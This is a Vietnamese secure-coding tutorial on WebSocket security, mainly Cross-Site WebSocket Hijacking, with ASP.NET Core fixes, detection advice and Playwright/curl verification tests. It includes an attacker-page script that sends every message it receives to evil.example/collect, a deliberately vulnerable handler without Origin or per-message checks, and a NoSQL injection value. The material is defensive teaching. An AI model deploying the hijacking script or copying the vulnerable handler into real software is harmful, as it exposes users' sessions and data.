Là gì
WebSocket mở một kênh hai chiều lâu dài giữa trình duyệt và server. Vấn đề bảo mật cốt lõi là bắt tay WebSocket không bị same-origin policy ràng buộc như fetch/XHR và trình duyệt tự kèm cookie — nên nếu server không tự kiểm Origin, một trang khác mở được kết nối kèm phiên của nạn nhân (CSWSH).
Vì sao bạn quan tâm
Điều quan trọng nhất: WebSocket không có CORS. Với fetch, trình duyệt cưỡng chế same-origin và CORS; với WebSocket, bắt tay là một request HTTP thường mà trình duyệt cho đi cross-origin, kèm cookie. Nghĩa là server là nơi DUY NHẤT kiểm được ai kết nối — và nếu nó quên, bạn có Cross-Site WebSocket Hijacking (CSWSH): CSRF cho một kênh đọc-ghi hai chiều.
Ba điều khác đáng nắm:
- Xác thực chỉ xảy ra một lần, lúc bắt tay. Sau đó kênh mở lâu, nên nếu phiên bị thu hồi giữa chừng, kết nối vẫn sống — trừ khi bạn tự đóng nó.
- Mỗi message là một request không đi qua middleware của bạn. Xác thực, phân quyền, rate limit, validation ở tầng HTTP middleware KHÔNG áp cho message WebSocket — bạn phải áp lại trong handler message.
- Dữ liệu message là input không tin cậy như mọi input khác: một message đưa vào
innerHTMLlà XSS (topic xss), vào SQL là SQL injection.
CSWSH tệ hơn CSRF thường ở một điểm: CSRF chỉ gửi được (không đọc response vì same-origin). CSWSH mở một kênh HAI CHIỀU, nên kẻ tấn công vừa gửi lệnh vừa đọc được mọi thứ server đẩy về trong phiên nạn nhân.
Cơ chế hoạt động
Bắt tay WebSocket là một request HTTP Upgrade. Điểm mấu chốt là trình duyệt gửi nó cross-origin kèm cookie, và không có cơ chế nào ở phía trình duyệt chặn — khác hẳn CORS cho fetch.
sequenceDiagram autonumber actor V as Nạn nhân (đã đăng nhập) participant E as evil.example participant A as app.example (WS server) V->>E: Mở trang kẻ tấn công E-->>V: new WebSocket(#quot;wss://app.example/ws#quot;) V->>A: GET /ws Upgrade: websocket<br/>Origin: https://evil.example<br/>Cookie: session=... (trình duyệt tự kèm) Note over A: Nếu server KHÔNG kiểm Origin →<br/>bắt tay thành công với phiên nạn nhân. A-->>V: 101 Switching Protocols Note over E: Kênh HAI CHIỀU mở. Kẻ tấn công gửi lệnh<br/>VÀ đọc mọi thứ server đẩy về.Điểm cốt lõi: header Origin trong bắt tay nói đúng trang nào mở kết nối — nhưng chỉ có ích nếu server kiểm nó. Trình duyệt gửi Origin nhưng không tự chặn dựa trên nó (không như CORS).
Bảng các vấn đề, và tầng chúng sống:
| Vấn đề | Cơ chế | Bản vá thuộc |
|---|---|---|
| CSWSH | Server không kiểm Origin ở bắt tay | Kiểm Origin + token CSRF ở handshake |
| Message không phân quyền | Middleware không áp cho message | Kiểm quyền TRONG handler mỗi message |
| Phiên không thu hồi được | Xác thực chỉ ở bắt tay | Kiểm token định kỳ, đóng khi hết hạn |
| XSS/injection qua message | Message là input không tin cậy | Cùng phép kiểm như input HTTP |
ws:// không mã hoá | Kênh rõ | wss:// bắt buộc |
Hàng thứ hai đáng nhấn: một người nghĩ "đã xác thực ở bắt tay rồi" thường quên rằng mỗi message vẫn cần phân quyền riêng — một message {"action":"deleteUser","id":7} không tự đi qua [Authorize] nào.
Mô tả sơ đồ: Sơ đồ tuần tự một cuộc tấn công CSWSH. Nạn nhân đang đăng nhập app mở một trang trên evil.example. Trang đó gọi new WebSocket tới wss://app.example/ws. Trình duyệt gửi request bắt tay Upgrade kèm header Origin là evil.example và tự kèm cookie phiên của nạn nhân. Nếu server không kiểm Origin thì bắt tay thành công với phiên nạn nhân và trả 101 Switching Protocols. Một kênh hai chiều mở ra, nên kẻ tấn công vừa gửi lệnh vừa đọc mọi thứ server đẩy về trong phiên đó.
Ví dụ cụ thể
Một app chat dùng WebSocket, xác thực bằng cookie phiên.
<!-- Trang kẻ tấn công. Không cần lỗi nào khác — chỉ cần server quên kiểm Origin. --><script> // Trình duyệt tự kèm cookie app.example vào bắt tay này, dù trang là evil.example. const ws = new WebSocket("wss://app.example/ws"); ws.onopen = () => ws.send(JSON.stringify({ action: "listConversations" })); // Kênh HAI CHIỀU: đọc được mọi thứ server đẩy về trong phiên nạn nhân. ws.onmessage = (e) => fetch("https://evil.example/collect", { method: "POST", body: e.data });</script># Bắt tay mà trình duyệt gửi — chú ý Origin lạ nhưng Cookie vẫn có.GET /ws HTTP/1.1Host: app.exampleUpgrade: websocketOrigin: https://evil.example ← server PHẢI kiểm dòng nàyCookie: session=<phiên nạn nhân> ← trình duyệt tự kèm// Message không phân quyền: xác thực ở bắt tay không đủ.// Một người dùng thường gửi:{"action":"deleteUser","userId":7}// Nếu handler message không kiểm quyền admin, nó thực thi — không [Authorize] nào chặn.# Sau khi vá: bắt tay kiểm Origin so bằng, và mỗi message kiểm quyền riêng.# Bắt tay từ evil.example → 403, kênh không bao giờ mở.app.UseWebSockets(); // ❌ không cấu hình AllowedOrigins app.Map("/ws", async ctx =>{ // ❌ Bắt tay không kiểm Origin. WebSocket KHÔNG có CORS, nên trình duyệt cho một // trang evil.example mở kết nối này kèm cookie phiên của nạn nhân (CSWSH). // Server là nơi DUY NHẤT kiểm được, và nó không kiểm. if (!ctx.WebSockets.IsWebSocketRequest) { ctx.Response.StatusCode = 400; return; } var socket = await ctx.WebSockets.AcceptWebSocketAsync(); var userId = ctx.User.GetUserId(); // xác thực MỘT lần ở bắt tay var buffer = new byte[4096]; while (socket.State == WebSocketState.Open) { var result = await socket.ReceiveAsync(buffer, CancellationToken.None); var msg = JsonSerializer.Deserialize<WsMessage>(buffer.AsSpan(0, result.Count)); // ❌ Không phân quyền theo message. Xác thực ở bắt tay chỉ nói "ai kết nối", // không nói "được làm gì". Một người dùng thường gửi {"action":"deleteUser"} // và nó chạy — không [Authorize] nào đi cùng message này. await _dispatcher.HandleAsync(msg, userId); }});Chuyện đã xảy ra
Họ lỗ hổng CSWSH trong bug bounty (nhiều báo cáo, 2013–nay). Christian Schneider đặt tên "Cross-Site WebSocket Hijacking" năm 2013, và mẫu lặp lại từ đó: một endpoint WebSocket xác thực bằng cookie mà server không kiểm Origin, cho phép một trang kẻ tấn công đọc dữ liệu thời gian thực của nạn nhân. Đáng nhớ vì nguyên nhân luôn là bỏ sót một phép kiểm — WebSocket không có CORS để làm hộ.
Các dashboard và công cụ dev với Origin: * hoặc không kiểm (nhiều CVE trong công cụ nội bộ). Một công cụ chạy WebSocket trên localhost mà không kiểm Origin cho phép một trang web bất kỳ kết nối tới nó — đây là đường một trang độc hại điều khiển một service chạy trên máy nạn nhân. Minh hoạ luận điểm khối 2: server là nơi duy nhất kiểm được.
Và một dạng phổ biến hơn CSWSH nhưng ít được gọi tên: message không phân quyền. Nhiều app xác thực ở bắt tay rồi tin mọi message sau đó, nên một người dùng thường gửi được message của admin. Không có sự cố "nổi tiếng" nào, nhưng nó là lỗi thường gặp nhất trong code review WebSocket.
Cách phòng chống
Kiểm `Origin` ở bắt tay — server là nơi DUY NHẤT làm được
bắt buộcWebSocket không có CORS, nên trình duyệt không chặn bắt tay cross-origin. Server phải tự làm.
- So
Originvới allowlist chuỗi CHÍNH XÁC, cùng nguyên tắc topic cors: khôngendsWith, không regex. Từ chối bắt tay (trả 403 ở tầng HTTP trước khi nâng cấp) nếuOriginkhông khớp. - Cộng một token CSRF ở bắt tay.
Originlà phòng thủ chính, nhưng một số client cũ không gửiOriginđáng tin; một token do server cấp và client gửi lại (qua subprotocol hoặc query param một lần) là lớp thứ hai. Đây là cùng ý tưởng chống CSRF với topic csrf.
Điểm quan trọng: kiểm ở tầng bắt tay, không ở message đầu tiên. Nếu bạn để kết nối mở rồi mới kiểm ở message, kênh đã tồn tại và một số framework đã đẩy dữ liệu.
Trong ASP.NET Core: kiểm trong middleware trước UseWebSockets, hoặc trong options.AllowedOrigins của SignalR. Đừng dựa vào Origin mặc định — SignalR kiểm origin nhưng chỉ khi bạn cấu hình allowlist.
// SignalR: AllowedOrigins là allowlist so BẰNG chuỗi — cùng nguyên tắc topic cors.builder.Services.AddCors(o => o.AddPolicy("ws", p => p .WithOrigins("https://app.example") // không endsWith, không regex .AllowCredentials() .AllowAnyHeader())); app.UseWebSockets(); app.Map("/ws", async ctx =>{ // Kiểm Origin Ở BẮT TAY, trước khi nâng cấp. Từ chối bằng 403 nếu không khớp — // kênh không bao giờ mở, nên không có cửa sổ nào server đã đẩy dữ liệu. var origin = ctx.Request.Headers.Origin.ToString(); if (origin != "https://app.example") { _log.LogWarning("Bắt tay WS bị từ chối: Origin {Origin}", origin); // lớp 3 ctx.Response.StatusCode = 403; return; } if (!ctx.WebSockets.IsWebSocketRequest) { ctx.Response.StatusCode = 400; return; } var socket = await ctx.WebSockets.AcceptWebSocketAsync(); var user = ctx.User; var tokenExp = user.GetTokenExpiry(); var buffer = new byte[4096]; while (socket.State == WebSocketState.Open) { // Lớp 2: token hết hạn giữa kết nối → đóng, buộc bắt tay lại. Bắt tay xác // thực MỘT lần, nhưng kênh mở lâu, nên một phiên đã thu hồi phải bị đẩy ra. if (DateTime.UtcNow >= tokenExp) { await socket.CloseAsync(WebSocketCloseStatus.PolicyViolation, "session expired", default); break; } var result = await socket.ReceiveAsync(buffer, CancellationToken.None); if (result.Count > MaxMessageBytes) { await socket.CloseAsync(WebSocketCloseStatus.MessageTooBig, "too big", default); break; } var msg = JsonSerializer.Deserialize<WsMessage>(buffer.AsSpan(0, result.Count)); // Phân quyền TỪNG message — mỗi message là một request thu nhỏ. deleteUser cần // quyền admin đúng như endpoint HTTP DELETE /users (topic access-control). if (!_authz.Can(user, msg.Action, msg.ResourceId)) { _log.LogWarning("Message WS bị từ chối: {Action} bởi {User}", msg.Action, user.GetUserId()); await socket.SendAsync(Error("forbidden"), WebSocketMessageType.Text, true, default); continue; } await _dispatcher.HandleAsync(msg, user.GetUserId()); }});Phân quyền TỪNG message, và coi message là input không tin cậy
bắt buộcMiddleware HTTP không áp cho message WebSocket, nên mọi kiểm soát bạn có ở tầng HTTP phải được áp lại trong handler message.
- Kiểm quyền cho từng action. Xác thực ở bắt tay chỉ nói "ai kết nối", không nói "được làm gì". Một message
{"action":"deleteUser"}phải qua đúng phép kiểm phân quyền như một endpoint HTTPDELETE /users(topic access-control, api-security). Handler message là chỗ phân quyền sống, không phải bắt tay. - Validate schema mỗi message. Ép kiểu, giới hạn, đúng như một DTO đầu vào — một message
{"userId": {"$ne": null}}là NoSQL injection (topic sql-injection) nếu bạn tin nó. - Message là input không tin cậy cho MỌI đích. Đưa vào
innerHTMLlà XSS; đưa vào SQL là SQL injection. Kênh WebSocket không làm dữ liệu đáng tin hơn.
Cách nghĩ đúng: mỗi message là một request HTTP thu nhỏ, và nó cần đúng mọi thứ một request HTTP cần — xác thực còn hiệu lực, phân quyền, validation, rate limit.
`wss://` bắt buộc, token hết hạn được, và giới hạn tài nguyên
Ba biện pháp giảm bề mặt còn lại:
wss://luôn luôn, khôngws://.ws://là kênh rõ — cookie phiên và mọi message đi không mã hoá. Cùng nguyên tắc HTTPS-only ở topic tls-config.- Xác thực hết hạn được. Bắt tay xác thực một lần, nhưng kênh mở lâu. Nếu phiên bị thu hồi (đổi mật khẩu, đăng xuất) thì kết nối phải bị đóng. Cách làm: gắn
expvào token dùng lúc bắt tay, và kiểm định kỳ trong vòng đời kết nối — khi hết hạn thì đóng, buộc client bắt tay lại. - Giới hạn tài nguyên (topic api-security lớp API4): số kết nối mỗi user, kích thước message tối đa, tần suất message. Một kênh mở lâu không giới hạn là một DoS: mở mười nghìn kết nối, hay gửi message 100MB.
Và rate limit theo kết nối và theo user, không chỉ theo IP — cùng lý do như topic rate-limiting.
Phát hiện: `Origin` lạ ở bắt tay là tín hiệu độ nhiễu thấp
Client hợp lệ của bạn bắt tay từ đúng một tập Origin, nên một Origin khác là một lần thử CSWSH.
- Log mọi bắt tay bị từ chối vì
Origin, kèmOriginvà user id của cookie. Alert khi tốc độ tăng — đó là chữ ký của một trang đang thử hijack kết nối của nhiều nạn nhân. - Log message bị từ chối vì phân quyền. Một kết nối gửi nhiều action mà nó không có quyền là một kết nối bị chiếm hoặc một client độc hại.
- Đóng và alert khi token hết hạn giữa kết nối nhưng client vẫn gửi — có thể là một phiên đã thu hồi đang cố tiếp tục.
Đây là lớp 3 vì kiểm ở lớp 1 đã chặn; log biến "đã chặn" thành "biết ai đang thử".
Kiểm chứng đã vá
1. Test bắt tay từ Origin lạ bị từ chối — phép kiểm trực tiếp cho CSWSH:
B=app.example# Bắt tay với Origin lạ phải bị từ chối (KHÔNG trả 101).curl -si "https://$B/ws" \ -H 'Upgrade: websocket' -H 'Connection: Upgrade' \ -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' -H 'Sec-WebSocket-Version: 13' \ -H 'Origin: https://evil.example' -b 'session=<phiên hợp lệ>' | head -1# Mong đợi: 403. Nếu là 101 Switching Protocols → CSWSH.2. Test message không có quyền bị từ chối — xem tab typescript / test. Bắt tay bằng phiên người dùng thường, gửi một action admin (deleteUser), và khẳng định nó bị từ chối VÀ không có tác dụng phụ. Đây là phép kiểm bắt được lỗi "xác thực ở bắt tay là đủ".
3. Grep server WebSocket không kiểm Origin:
# SignalR phải có AllowedOrigins; WebSocket thô phải kiểm Origin trước UseWebSockets.grep -rn "UseWebSockets\|MapHub\|AddSignalR" --include='*.cs' src/ \ && grep -rn "AllowedOrigins\|Request.Headers.Origin\|CheckOrigin" --include='*.cs' src/ \ || echo "CẢNH BÁO: có WebSocket nhưng không thấy kiểm Origin"4. Kiểm chỉ wss://, không ws://:
grep -rnE 'ws://' --include='*.ts' --include='*.tsx' --include='*.cs' src/ \ | grep -v 'localhost\|127.0.0.1' \ && { echo "ws:// không mã hoá tới host không phải localhost"; exit 1; }exit 05. Kiểm token hết hạn đóng được kết nối (lớp 2) — mở kết nối, thu hồi phiên ở server, và khẳng định server đóng kết nối trong vòng chu kỳ kiểm (không để nó sống mãi).
import { test, expect } from "@playwright/test";import { WebSocket } from "ws"; const WS_URL = "wss://staging.example.com/ws"; // CSWSH: bắt tay từ một Origin lạ phải bị TỪ CHỐI ở tầng bắt tay. Thư viện ws cho// đặt header Origin tuỳ ý — đúng thứ một trang kẻ tấn công không làm được nhưng ta// mô phỏng để kiểm server.test("handshake from a foreign Origin is refused", async () => { const cookie = await getValidSessionCookie(); const refused = await new Promise<boolean>((resolve) => { const ws = new WebSocket(WS_URL, { headers: { Origin: "https://evil.example", Cookie: cookie }, }); ws.on("open", () => { ws.close(); resolve(false); }); // mở được = CSWSH ws.on("error", () => resolve(true)); // bị từ chối = đúng ws.on("unexpected-response", (_req, res) => resolve(res.statusCode === 403)); }); expect(refused).toBe(true);}); test("handshake from the real Origin succeeds", async () => { const cookie = await getValidSessionCookie(); const opened = await new Promise<boolean>((resolve) => { const ws = new WebSocket(WS_URL, { headers: { Origin: "https://app.example", Cookie: cookie }, }); ws.on("open", () => { ws.close(); resolve(true); }); ws.on("error", () => resolve(false)); }); expect(opened).toBe(true);}); // Phân quyền TỪNG message: xác thực ở bắt tay KHÔNG đủ. Bắt tay bằng phiên người// dùng thường, gửi một action admin, và khẳng định nó bị từ chối VÀ không có tác dụng.test("an ordinary user cannot send an admin action", async () => { const cookie = await getOrdinaryUserCookie(); const victimId = await seedUser(); const response = await new Promise<any>((resolve) => { const ws = new WebSocket(WS_URL, { headers: { Origin: "https://app.example", Cookie: cookie } }); ws.on("open", () => ws.send(JSON.stringify({ action: "deleteUser", resourceId: victimId }))); ws.on("message", (data) => { resolve(JSON.parse(data.toString())); ws.close(); }); }); expect(response.error).toBe("forbidden"); // Khẳng định ở TẦNG DỮ LIỆU: message bị từ chối và người dùng còn tồn tại. expect(await userExists(victimId)).toBe(true);}); // wss:// only — không kênh rõ nào.test("the endpoint rejects unencrypted ws://", async () => { const plain = WS_URL.replace("wss://", "ws://"); const failed = await new Promise<boolean>((resolve) => { const ws = new WebSocket(plain); ws.on("open", () => { ws.close(); resolve(false); }); ws.on("error", () => resolve(true)); }); expect(failed).toBe(true);});Sai lầm thường gặp
| "Bản vá" | Vì sao không đúng |
|---|---|
| Dựa vào same-origin của trình duyệt | WebSocket KHÔNG có CORS. Bắt tay đi cross-origin kèm cookie. Server phải tự kiểm Origin |
| Token CSRF cho HTTP nhưng không cho WebSocket | Bắt tay là một request riêng. Nó cần kiểm Origin và token của riêng nó |
| Xác thực ở bắt tay rồi tin mọi message | Middleware không áp cho message. Mỗi message cần phân quyền riêng |
Kiểm Origin bằng endsWith | Khớp lỏng như topic cors. evil-app.example đi qua. So bằng chuỗi chính xác |
| Kiểm ở message đầu tiên thay vì bắt tay | Kênh đã mở; một số framework đã đẩy dữ liệu trước message đó |
ws:// "vì nội bộ" | Cookie phiên đi kênh rõ. wss:// luôn luôn |
| Đưa message vào innerHTML | Message là input không tin cậy. XSS như mọi input khác (topic xss) |
| Không đóng khi phiên thu hồi | Xác thực chỉ ở bắt tay, nên phiên đã đăng xuất vẫn dùng kênh mãi |
Sai lầm về mô hình, và nó là sai lầm chính: nghĩ WebSocket được same-origin policy bảo vệ như fetch. Nó KHÔNG. Không có CORS cho WebSocket, nên server là nơi duy nhất kiểm được ai kết nối — và CSWSH là hệ quả trực tiếp của việc quên.
Sai lầm về tầng: coi bắt tay là điểm kiểm soát duy nhất. Bắt tay kiểm "ai vào"; mỗi message vẫn cần kiểm "được làm gì". Middleware HTTP không đi cùng message, nên mọi thứ bạn có ở tầng HTTP — phân quyền, validation, rate limit — phải áp lại trong handler.
Bình luận
Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.
Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.
Đang tải bình luận…